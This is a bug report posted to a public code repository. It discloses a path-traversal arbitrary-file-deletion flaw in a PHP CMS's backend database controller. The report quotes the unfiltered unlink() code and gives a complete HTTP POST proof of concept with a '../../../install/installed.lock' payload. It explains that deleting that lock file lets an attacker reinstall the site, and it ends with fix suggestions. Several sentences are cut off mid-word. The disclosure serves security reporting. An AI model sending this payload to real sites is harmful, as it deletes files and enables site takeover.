zhendezuile / bug_report Public

Code Issues Pull requests Actions Projects Security Insights

main

...

bug_report / bug_d

zhendezuile Update bug_d

History

1 contributor

77 lines (65 sloc) | 2.63 KB

...

```
Vulnerable file: \protected\controller\backend\database_controller.php
It can clearly seen that $file is not security filtered
Vulnerable code:
....................................................
 case 'delete':
        $file = request('file');
        $error = array();
        if(!empty($file))
        {
            if(is_array($file))
            {
                foreach($file as $v)
                {
                    if(!@unlink($backup_dir.DS.$v)) $error[] = "删除备份文件({$v})失败";
                }
            }
            else
            {
                if(!@unlink($backup_dir.DS.$file)) $error[] = "删除备份文件({$file})失败";
            }
        }
        else
        {
            $error[] = "必须选择需要删除的备份文件";
        }

       if(empty($error))

        {
            $this->prompt('success', '删除成功', url($this->MOD.'/database', 'restore'));
        }
        else
        {
            $this->prompt('error', $error);
        }

  break;
..................................................

Vulnerability to reproduce:
1、First log in to the background to get the cookie

2、Here I delete the installed.lock file to verify the existence of the vulnerability, the construc

POST /index.php?m=backend&c=database&a=restore&step=delete HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.xiaodi.com/index.php?m=backend&c=database&a=restore
Cookie: VDSSKEY=d6123bedd1b697a783c9da6f0b92254c
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

file%5B%5D=../../../install/installed.lock

3、Click to send the data package, you can see that the file was deleted successfully

4、It can be seen that when the installed.lock file exists, when visiting http://xxx/install, the p
.........................................................
if(file_exists(INSTALL_DIR.DS.'installed.lock'))
{
    header('Location: ../index.php');
    exit;
}
.........................................................

So as long as we delete the installed.lock file, we can reinstall the system, When we delete the in



Repair suggestion:

1、Filter ../ or ..\ in the file variable
2、Limit the scope of deleted files or directories
```